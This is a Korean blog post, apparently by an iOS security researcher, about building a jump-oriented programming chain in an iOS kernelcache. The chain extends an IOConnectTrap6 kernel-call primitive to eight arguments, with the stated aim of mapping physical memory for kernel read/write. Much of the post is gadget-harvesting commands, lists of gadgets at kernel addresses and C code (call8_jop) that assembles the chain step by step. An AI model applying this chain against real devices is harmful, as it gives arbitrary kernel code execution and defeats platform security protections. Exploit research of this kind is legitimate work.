이전 게시글을 다시 회상해보면, Userspace에서 IOConnectTrap6 함수를 호출하여 최대 7개의 인자로 커널 함수를 호출해낼 수 있었다. 그러나 물리메모리를 매핑하는데 필요한 pmap_enter_options_addr 함수를 호출할려고 할때 8개의 인자를 필요로 히는데, 최대 7개의 인자밖에 못하는 한계가 있다.
따라서, bazad님의 최대 14개의 인자로 커널 함수를 호출하는 게시물과 memctl 프로젝트, meowbrek2에서 활용된 jop 가젯들을 참고하여 최대 8개의 인자와 함께 64비트 값을 리턴하도록 만들어볼 것이고,
나중에는 물리메모리를 맵핑해서 커널을 R/W할 수 있는 handoff 원리도 알아볼 예정이다.
프롤로그로 쓸만한 적당한 가젯 찾기
프롤로그 가젯 사용될만한 가젯은 여러가지가 존재하였는데, 우선은 jtool2로 커널캐시를 압축해제한 다음, ROPgadget --binary path/to/decompressed/kernelcache --depth 13 **>** kernelcache-gadgets.txt
명령어와 같이 가젯을 수집하였다. 수집한 가젯은 kernelcache-gadgets.txt 파일로 저장된다.
grep 'stp x[^;]*; stp x[^;]*; add[^;]*; mov[^;]*; ldr[^;]*; ldr[^;]*; ldr[^;]*; blr[^;]*; str[^;]*; mov[^;]*; ldp[^;]*; ldp[^;]*; ret' kernelcache-gadgets.txt > prologue.txt
위 정규식을 이용하여 프롤로그 가젯을 찾아냈다.
blr 명령어를 통해 레지스터를 이용하여 간접적으로 점프하고 복귀하는 프롤로그에 뒤이어 스택 정리까지해서 복귀하는 에필로그까지 수행하는 가젯을 찾아내고자 하였다.
즉, 프롤로그의 stp
와 ldp
를 통해 스택에 레지스터를 저장과 복원, ldr
을 통해 메모리에서 데이터를 불러오고, blr
을 사용해 간접 함수 호출을 할 수 있고, 에필로그와 함께ret
으로 반환까지 해주는 가젯이다.
결과는 다음과 같았다.
0xfffffff008bdc680 : stp x20, x19, [sp, #-0x20]! ; stp x29, x30, [sp, #0x10] ; add x29, sp, #0x10 ; mov x19, x1 ; ldr x0, [x0, #0x48] ; ldr x8, [x0] ; ldr x8, [x8, #0x78] ; blr x8 ; str x0, [x19] ; movz w0, #0 ; ldp x29, x30, [sp, #0x10] ; ldp x20, x19, [sp], #0x20 ; ret 0xfffffff008950158 : stp x20, x19, [sp, #-0x20]! ; stp x29, x30, [sp, #0x10] ; add x29, sp, #0x10 ; mov x19, x1 ; ldr x0, [x0, #0x98] ; ldr x8, [x0] ; ldr x8, [x8, #0x7b8] ; blr x8 ; strb w0, [x19] ; movz w0, #0 ; ldp x29, x30, [sp, #0x10] ; ldp x20, x19, [sp], #0x20 ; ret 0xfffffff008950124 : stp x20, x19, [sp, #-0x20]! ; stp x29, x30, [sp, #0x10] ; add x29, sp, #0x10 ; mov x19, x1 ; ldr x0, [x0, #0x98] ; ldr x8, [x0] ; ldr x8, [x8, #0x7c0] ; blr x8 ; str x0, [x19] ; movz w0, #0 ; ldp x29, x30, [sp, #0x10] ; ldp x20, x19, [sp], #0x20 ; ret 0xfffffff00895020c : stp x20, x19, [sp, #-0x20]! ; stp x29, x30, [sp, #0x10] ; add x29, sp, #0x10 ; mov x19, x1 ; ldr x0, [x0, #0x98] ; ldr x8, [x0] ; ldr x8, [x8, #0x7d0] ; blr x8 ; strb w0, [x19] ; movz w0, #0 ; ldp x29, x30, [sp, #0x10] ; ldp x20, x19, [sp], #0x20 ; ret 0xfffffff00878ec48 : stp x20, x19, [sp, #-0x20]! ; stp x29, x30, [sp, #0x10] ; add x29, sp, #0x10 ; mov x19, x1 ; ldr x0, [x0, #0xd8] ; ldr x8, [x0] ; ldr x8, [x8, #0x540] ; blr x8 ; str w0, [x19] ; movz w0, #0 ; ldp x29, x30, [sp, #0x10] ; ldp x20, x19, [sp], #0x20 ; ret 0xfffffff008730e0c : stp x20, x19, [sp, #-0x20]! ; stp x29, x30, [sp, #0x10] ; add x29, sp, #0x10 ; mov x19, x1 ; ldr x0, [x0, #0xd8] ; ldr x8, [x0] ; ldr x8, [x8, #0x580] ; blr x8 ; str w0, [x19] ; movz w0, #0 ; ldp x29, x30, [sp, #0x10] ; ldp x20, x19, [sp], #0x20 ; ret 0xfffffff008730e40 : stp x20, x19, [sp, #-0x20]! ; stp x29, x30, [sp, #0x10] ; add x29, sp, #0x10 ; mov x19, x1 ; ldr x0, [x0, #0xd8] ; ldr x8, [x0] ; ldr x8, [x8, #0x588] ; blr x8 ; str w0, [x19] ; movz w0, #0 ; ldp x29, x30, [sp, #0x10] ; ldp x20, x19, [sp], #0x20 ; ret
위 가젯들 중 나는 다음 가젯을 선택하였다.
0xfffffff008950124 : stp x20, x19, [sp, #-0x20]! ; stp x29, x30, [sp, #0x10] ; add x29, sp, #0x10 ; mov x19, x1 ; ldr x0, [x0, #0x98] ; ldr x8, [x0] ; ldr x8, [x8, #0x7c0] ; blr x8 ; str x0, [x19] ; movz w0, #0 ; ldp x29, x30, [sp, #0x10] ; ldp x20, x19, [sp], #0x20 ; ret
이후 blr x8
에 의헤 호출될 함수 주소인 x8을 지정할 populate 함수를 찾아보았다.
메모리 주소로부터 로드시켜 각 레지스터를 컨트롤할 수 있는 populate 가젯 찾기
간단하게 아래 어셈블리 명령어 패턴으로 가젯을 수집할 수 있다.
ldp 명령어로 스택에서 레지스터를 복원하고, ldr에 의해 메모리에서 값을 로드하고, mov에 의헤 특정 레지스터에 옮기고, br 명령어에 의해 레지스터를 참조하여 분기하는 가젯을 찾아낸다.
grep 'ldp[^;]*; ldp[^;]*; ldr[^;]*; mov[^;]*; br' kernelcache-gadgets.txt > populate.txt
결과는 다음과 같았다.
0xfffffff007e319dc : adrp x8, #0xfffffff00931a000 ; ldr x8, [x8, #0xd58] ; ldr x1, [x8, #0x48] ; br x1 ; mov x6, x2 ; adrp x8, #0xfffffff00931a000 ; ldr x8, [x8, #0xd58] ; ldr x7, [x8, #0x50] ; ldp x8, x2, [x1] ; ldp x3, x4, [x1, #0x10] ; ldr w5, [x1, #0x20] ; mov x1, x8 ; br x7 0xfffffff007e319f0 : adrp x8, #0xfffffff00931a000 ; ldr x8, [x8, #0xd58] ; ldr x7, [x8, #0x50] ; ldp x8, x2, [x1] ; ldp x3, x4, [x1, #0x10] ; ldr w5, [x1, #0x20] ; mov x1, x8 ; br x7 0xfffffff0085dedec : b #0xfffffff0085dedf8 ; cmp w1, #0 ; movz w8, #0x1b ; movz w9, #0x13 ; csel w0, w9, w8, eq ; ret ; ldp x4, x0, [x1] ; ldp x8, x2, [x1, #0x10] ; ldr x3, [x1, #0x20] ; mov x1, x8 ; br x4 0xfffffff007e319e8 : br x1 ; mov x6, x2 ; adrp x8, #0xfffffff00931a000 ; ldr x8, [x8, #0xd58] ; ldr x7, [x8, #0x50] ; ldp x8, x2, [x1] ; ldp x3, x4, [x1, #0x10] ; ldr w5, [x1, #0x20] ; mov x1, x8 ; br x7 0xfffffff0085dede8 : cmp w1, #0 ; b #0xfffffff0085dedf8 ; cmp w1, #0 ; movz w8, #0x1b ; movz w9, #0x13 ; csel w0, w9, w8, eq ; ret ; ldp x4, x0, [x1] ; ldp x8, x2, [x1, #0x10] ; ldr x3, [x1, #0x20] ; mov x1, x8 ; br x4 0xfffffff0085dedf0 : cmp w1, #0 ; movz w8, #0x1b ; movz w9, #0x13 ; csel w0, w9, w8, eq ; ret ; ldp x4, x0, [x1] ; ldp x8, x2, [x1, #0x10] ; ldr x3, [x1, #0x20] ; mov x1, x8 ; br x4 0xfffffff0085dedf0 : cmp w1, #0 ; movz w8, #0x1b ; movz w9, #0x13 ; csel w0, w9, w8, eq ; ret ; ldp x4, x0, [x1] ; ldp x8, x2, [x1, #0x10] ; ldr x3, [x1, #0x20] ; mov x1, x8 ; br x4 ; movz w0, #0x4841 ; movk w0, #0x424c, lsl #16 ; ret 0xfffffff0085dedfc : csel w0, w9, w8, eq ; ret ; ldp x4, x0, [x1] ; ldp x8, x2, [x1, #0x10] ; ldr x3, [x1, #0x20] ; mov x1, x8 ; br x4 0xfffffff0085dedfc : csel w0, w9, w8, eq ; ret ; ldp x4, x0, [x1] ; ldp x8, x2, [x1, #0x10] ; ldr x3, [x1, #0x20] ; mov x1, x8 ; br x4 ; movz w0, #0x4841 ; movk w0, #0x424c, lsl #16 ; ret 0xfffffff0085dede4 : csel w8, wzr, w8, eq ; cmp w1, #0 ; b #0xfffffff0085dedf8 ; cmp w1, #0 ; movz w8, #0x1b ; movz w9, #0x13 ; csel w0, w9, w8, eq ; ret ; ldp x4, x0, [x1] ; ldp x8, x2, [x1, #0x10] ; ldr x3, [x1, #0x20] ; mov x1, x8 ; br x4 0xfffffff0085dee04 : ldp x4, x0, [x1] ; ldp x8, x2, [x1, #0x10] ; ldr x3, [x1, #0x20] ; mov x1, x8 ; br x4 0xfffffff0085dee04 : ldp x4, x0, [x1] ; ldp x8, x2, [x1, #0x10] ; ldr x3, [x1, #0x20] ; mov x1, x8 ; br x4 ; movz w0, #0x4841 ; movk w0, #0x424c, lsl #16 ; ret 0xfffffff007e319fc : ldp x8, x2, [x1] ; ldp x3, x4, [x1, #0x10] ; ldr w5, [x1, #0x20] ; mov x1, x8 ; br x7 0xfffffff007e319e4 : ldr x1, [x8, #0x48] ; br x1 ; mov x6, x2 ; adrp x8, #0xfffffff00931a000 ; ldr x8, [x8, #0xd58] ; ldr x7, [x8, #0x50] ; ldp x8, x2, [x1] ; ldp x3, x4, [x1, #0x10] ; ldr w5, [x1, #0x20] ; mov x1, x8 ; br x7 0xfffffff007e319f8 : ldr x7, [x8, #0x50] ; ldp x8, x2, [x1] ; ldp x3, x4, [x1, #0x10] ; ldr w5, [x1, #0x20] ; mov x1, x8 ; br x7 0xfffffff007e319e0 : ldr x8, [x8, #0xd58] ; ldr x1, [x8, #0x48] ; br x1 ; mov x6, x2 ; adrp x8, #0xfffffff00931a000 ; ldr x8, [x8, #0xd58] ; ldr x7, [x8, #0x50] ; ldp x8, x2, [x1] ; ldp x3, x4, [x1, #0x10] ; ldr w5, [x1, #0x20] ; mov x1, x8 ; br x7 0xfffffff007e319f4 : ldr x8, [x8, #0xd58] ; ldr x7, [x8, #0x50] ; ldp x8, x2, [x1] ; ldp x3, x4, [x1, #0x10] ; ldr w5, [x1, #0x20] ; mov x1, x8 ; br x7 0xfffffff007e319ec : mov x6, x2 ; adrp x8, #0xfffffff00931a000 ; ldr x8, [x8, #0xd58] ; ldr x7, [x8, #0x50] ; ldp x8, x2, [x1] ; ldp x3, x4, [x1, #0x10] ; ldr w5, [x1, #0x20] ; mov x1, x8 ; br x7 0xfffffff0085dedf4 : movz w8, #0x1b ; movz w9, #0x13 ; csel w0, w9, w8, eq ; ret ; ldp x4, x0, [x1] ; ldp x8, x2, [x1, #0x10] ; ldr x3, [x1, #0x20] ; mov x1, x8 ; br x4 0xfffffff0085dedf4 : movz w8, #0x1b ; movz w9, #0x13 ; csel w0, w9, w8, eq ; ret ; ldp x4, x0, [x1] ; ldp x8, x2, [x1, #0x10] ; ldr x3, [x1, #0x20] ; mov x1, x8 ; br x4 ; movz w0, #0x4841 ; movk w0, #0x424c, lsl #16 ; ret 0xfffffff0085dedf8 : movz w9, #0x13 ; csel w0, w9, w8, eq ; ret ; ldp x4, x0, [x1] ; ldp x8, x2, [x1, #0x10] ; ldr x3, [x1, #0x20] ; mov x1, x8 ; br x4 0xfffffff0085dedf8 : movz w9, #0x13 ; csel w0, w9, w8, eq ; ret ; ldp x4, x0, [x1] ; ldp x8, x2, [x1, #0x10] ; ldr x3, [x1, #0x20] ; mov x1, x8 ; br x4 ; movz w0, #0x4841 ; movk w0, #0x424c, lsl #16 ; ret 0xfffffff0085dee00 : ret ; ldp x4, x0, [x1] ; ldp x8, x2, [x1, #0x10] ; ldr x3, [x1, #0x20] ; mov x1, x8 ; br x4 0xfffffff0085dee00 : ret ; ldp x4, x0, [x1] ; ldp x8, x2, [x1, #0x10] ; ldr x3, [x1, #0x20] ; mov x1, x8 ; br x4 ; movz w0, #0x4841 ; movk w0, #0x424c, lsl #16 ; ret
위 가젯들 중 나는 다음 가젯을 선택하였다.
0xfffffff0085dedec ldp x4, x0, [x1] ; ldp x8, x2, [x1, #0x10] ; ldr x3, [x1, #0x20] ; mov x1, x8 ; br x4
x1
이 가리키는 메모리에서 함수 주소(x4
)와 인자(x0
, x2
, x8
)를 불러옴
x8
을 x1
로 복사하여 인자 설정
br x4
를 통해 불러온 주소로 점프하여 함수 호출
디스패치 가젯 고르기
매번 커널 함수를 호출하여 jop이 잘되는지 테스트할 순 없으니, 직접 c언어와 어셈블리 코드를 짜서 테스트해보았다.
https://github.com/wh1te4ever/jop_practice/blob/main/jop3.c
uint64_t call8_jop(uint64_t addr, uint64_t x0, uint64_t x1, uint64_t x2, uint64_t x3, uint64_t x4, uint64_t x5, uint64_t x6, uint64_t x7) { write64(my_page, my_page); write64(my_page + 0x98, my_page); write64(my_page + 0x7c0, gadget_populate + 4); //gadget_populate + 4 함수에서 진입했을때, 다음 레지스터 참조. (주석 참고) //이후에 br x4 문은 my_call6의 a5 참조 (a5 = mov_x15_x2__br_x3) write64(my_page + 0x100, 0); write64(my_page + 0x108, 0); write64(my_page + 0x110, my_page + 0x800); //x1 = x8 write64(my_page + 0x118, x7); //x2 write64(my_page + 0x120, gadget_populate); //x3 //mov_x15_x2__br_x3 //이제 x15 = x2 (call8_jop's x7) //x3에 의해 gadget_populate으로 분기; //gadget_populate 함수 진입, 다음 레지스터 참조. (주석 참고) //이후에 br x4 문은 mov_x12_x0__br_x2으로 분기 uint64_t current_page = my_page + 0x800; write64(current_page, mov_x12_x0__br_x2); //x4 write64(current_page + 0x8, gadget_populate); //x0 write64(current_page + 0x10, current_page + 0x40); //x1 = x8 write64(current_page + 0x18, gadget_populate); //x2 write64(current_page + 0x20, 0); //x3
여기까지 수행해봤을때, 각 페이지 0x100~0x120… +0x8~0x20까지 매번 5번의 메모리를 write할때마다 디스패치 가젯으로 분기시킬 수 있는 x4 레지스터, 디스패치 가젯이 끝난뒤 그 다음 가젯으로 호출하게 만드는 x1 = x8 레지스터, 임의의 x0, x2, x3 레지스터 값을 지정해 다른 레지스터로 값을 지정해줄 수 있게 디스패치 가젯과 체인… 이렇게 설명할 수 있을 것 같다.
x2, x3는 매번 populate 가젯을 호출할때마다 임의로 지정해 줄 수 있으니, br x2, br x3로 populate 가젯을 복귀할 수 있으면서 특정 레지스터 값을 옮길 수 있는 레지스터를 찾아보았다.
mov x0, x1 ; br x2 mov x0, x8 ; br x2 mov x0, x9 ; br x2 mov x1, x14 ; br x2 mov x1, x16 ; br x2 mov x1, x8 ; br x2 mov x10, x0 ; br x2 mov x12, x0 ; br x2 mov x14, x1 ; br x2 mov x16, x1 ; br x2 mov x17, x16 ; br x2 mov x0, x8 ; br x3 mov x1, x0 ; br x3 mov x1, x2 ; br x3 mov x1, x8 ; br x3 mov x1, x9 ; br x3 mov x15, x2 ; br x3 mov x16, x11 ; br x3 mov x16, x14 ; br x3 mov x2, x1 ; br x3 mov x2, x15 ; br x3 mov x2, x8 ; br x3
mov x10, x0 ; br x2
mov x12, x0 ; br x2
x0레지스터를 복사하여 임의의 x10 또는 x12 레지스터를 지정해줄 수 있기에 위 가젯을 택하기로 하였다.
이제 x10 레지스터와 x12 레지스터를 populate 주소로 지정하고,
br x10, br x12를 통해 populate 주소로 복귀할 수 있다.
//gadget_populate 함수 진입, 다음 레지스터 참조. (주석 참고) //이후에 br x4 문은 mov_x12_x0__br_x2으로 분기 uint64_t current_page = my_page + 0x800; write64(current_page, mov_x12_x0__br_x2); //x4 write64(current_page + 0x8, gadget_populate); //x0 write64(current_page + 0x10, current_page + 0x40); //x1 = x8 write64(current_page + 0x18, gadget_populate); //x2 write64(current_page + 0x20, 0); //x3 //mov_x12_x0__br_x2 //x12에 gadget_populate 주소 백업 후 populate 복귀. //gadget_populate 함수 진입, 다음 레지스터 참조. (주석 참고) //이후에 br x4 문은 mov_x10_x0__br_x2으로 분기 current_page += 0x40; write64(current_page, mov_x10_x0__br_x2); //x4 write64(current_page + 0x8, gadget_populate); //x0 write64(current_page + 0x10, current_page + 0x40); //x1 = x8 write64(current_page + 0x18, gadget_populate); //x2 write64(current_page + 0x20, 0); //x3 //mov_x10_x0__br_x2 //x10에 gadget_populate 주소 백업 후 populate 복귀.
위 코드를 실행하면서, 떠오른 생각은 이제 어떻게 하면 x7 레지스터에 jop’s x7이 들어갈 수 있느냐이다.
우선은 mov_x15_x2__br_x3으로 위 코드를 실행하기 전에 x2값에 jop’s x7으로 지정해놓음으로써, x15레지스터에 백업한다.
write64(my_page + 0x100, 0); write64(my_page + 0x108, 0); write64(my_page + 0x110, my_page + 0x800); //x1 = x8 write64(my_page + 0x118, x7); //x2 write64(my_page + 0x120, gadget_populate); //x3
그 다음으로, x12, x10 레지스터에 populate 주소로 백업해놓고,
jop’s x7이 백업된 x15 레지스터를 x16에 복사하고, x12에 의해 populate으로 복귀.
//gadget_populate 함수 진입, 다음 레지스터 참조. (주석 참고) //이후에 br x4 문은 mov_x16_x15__br_x12으로 분기 current_page += 0x40; write64(current_page, mov_x16_x15__br_x12); //x4 write64(current_page + 0x8, gadget_populate); //x0 write64(current_page + 0x10, current_page + 0x40); //x1 = x8 write64(current_page + 0x18, gadget_populate); //x2 write64(current_page + 0x20, 0); //x3
mov_x7_x16__br_x10 가젯을 통해 jop’s x7이 백업해둔 x16 레지스터값 덕분에 이제 x7 레지스터에 jop’s x7 레지스터값으로 지정해줄 수 있다.
current_page += 0x40; write64(current_page, mov_x7_x16__br_x10); //x4 write64(current_page + 0x8, gadget_populate); //x0 write64(current_page + 0x10, current_page + 0x40); //x1 = x8 write64(current_page + 0x18, gadget_populate); //x2 write64(current_page + 0x20, 0); //x3
이러한 가젯들은 디스패치 가젯 중 br x10, br x12 가젯을 찾아보면서 얻게 된 결과이다.
grep -E '\\bmov[[:space:]]+x[0-9]+,[[:space:]]*x[0-9]+ ; br x' kernelcache-gadgets.txt > mov_br.txt grep -E -o '\\bmov[[:space:]]+x[0-9]+,[[:space:]]*x[0-9]+ ; br [^;]*' mov_br.txt | sort | uniq > mov_br2.txt mov x0, x12 ; br x10 mov x1, x21 ; br x10 mov x11, x19 ; br x10 mov x12, x14 ; br x10 mov x12, x9 ; br x10 mov x15, x0 ; br x10 mov x15, x16 ; br x10 mov x15, x3 ; br x10 mov x2, x1 ; br x10 mov x3, x8 ; br x10 mov x4, x3 ; br x10 mov x4, x8 ; br x10 mov x5, x15 ; br x10 mov x5, x8 ; br x10 mov x7, x16 ; br x10 mov x7, x8 ; br x10 mov x8, x11 ; br x10 mov x8, x9 ; br x10 mov x9, x11 ; br x10 mov x9, x4 ; br x10 mov x9, x8 ; br x10 mov x0, x11 ; br x12 mov x0, x15 ; br x12 mov x10, x0 ; br x12 mov x10, x11 ; br x12 mov x10, x13 ; br x12 mov x10, x19 ; br x12 mov x10, x9 ; br x12 mov x11, x10 ; br x12 mov x11, x14 ; br x12 mov x11, x9 ; br x12 mov x13, x14 ; br x12 mov x13, x2 ; br x12 mov x14, x13 ; br x12 mov x14, x16 ; br x12 mov x15, x16 ; br x12 mov x16, x15 ; br x12 mov x3, x15 ; br x12 mov x5, x0 ; br x12 mov x8, x10 ; br x12 mov x9, x10 ; br x12 mov x9, x11 ; br x12 mov x9, x17 ; br x12 mov x9, x2 ; br x12
그 다음부터는, x10 레지스터 값에 jop’s x4 레지스터값 지정. x13 레지스터 값에 jop’s x4 레지스터 값을 지정하다가… 어떻게 하면 jop’s x4가 커널 호출에 그대로 전달시킬 수 있을지 찾아보았다.
때마침 mov_x4_x13__br_x15 가젯을 통해 x4 레지스터로 그대로 전달시킬 수 있었지만, 문제는 x15 레지스터였다.
그러나, x15레지스터는 mov_x15_x2__br_x3에 의해 임의로 지정하여 populate으로 복귀할 수 있는 가젯이 있기 때문에, 문제없이 x15 레지스터에다가 jop’s addr로 지정하여 끝내 커널 함수를 호출시킬 수 있었다.
//gadget_populate 함수 진입, 다음 레지스터 참조. (주석 참고) //이후에 br x4 문은 mov_x10_x0__br_x12으로 분기 current_page += 0x40; write64(current_page, mov_x10_x0__br_x12); //x4 write64(current_page + 0x8, x4); //x0 write64(current_page + 0x10, current_page + 0x40); //x1 = x8 write64(current_page + 0x18, gadget_populate); //x2 write64(current_page + 0x20, 0); //x3 //mov_x10_x0__br_x12 //x10 = x0 (jop's x4), populate 복귀 //gadget_populate 함수 진입, 다음 레지스터 참조. (주석 참고) //이후에 br x4 문은 mov_x13_x2__br_x12으로 분기 current_page += 0x40; write64(current_page, mov_x13_x2__br_x12); //x4 write64(current_page + 0x8, gadget_populate); //x0 write64(current_page + 0x10, current_page + 0x40); //x1 = x8 write64(current_page + 0x18, x4); //x2 write64(current_page + 0x20, 0); //x3 //mov_x8_x10__br_x12 (실패) //x8 = x10 (jop's x4). populate 복귀. //이는 추후, mov_x4_x8__br_x10 을 통해 x10에서 addr 호출할 예정. //그러나, 마지막 write64(current_page + 0x10, x1); //x1 = x8 에서 충돌함. //mov_x13_x2__br_x12 //x13 = x2 (jop's x4), populate 복귀. //gadget_populate 함수 진입, 다음 레지스터 참조. (주석 참고) //이후에 br x4 문은 mov_x15_x2__br_x3으로 분기 current_page += 0x40; write64(current_page, mov_x15_x2__br_x3); //x4 write64(current_page + 0x8, gadget_populate); //x0 write64(current_page + 0x10, current_page + 0x40); //x1 = x8 write64(current_page + 0x18, addr); //x2 write64(current_page + 0x20, gadget_populate); //x3 //mov_x15_x2__br_x3 //x15 = x2 (jop's addr), populate 복귀. //gadget_populate 함수 진입, 다음 레지스터 참조. (주석 참고) current_page += 0x40; write64(current_page, mov_x4_x13__br_x15); //x4 write64(current_page + 0x8, x0); //x0 write64(current_page + 0x10, x1); //x1 = x8 write64(current_page + 0x18, x2); //x2 write64(current_page + 0x20, x3); //x3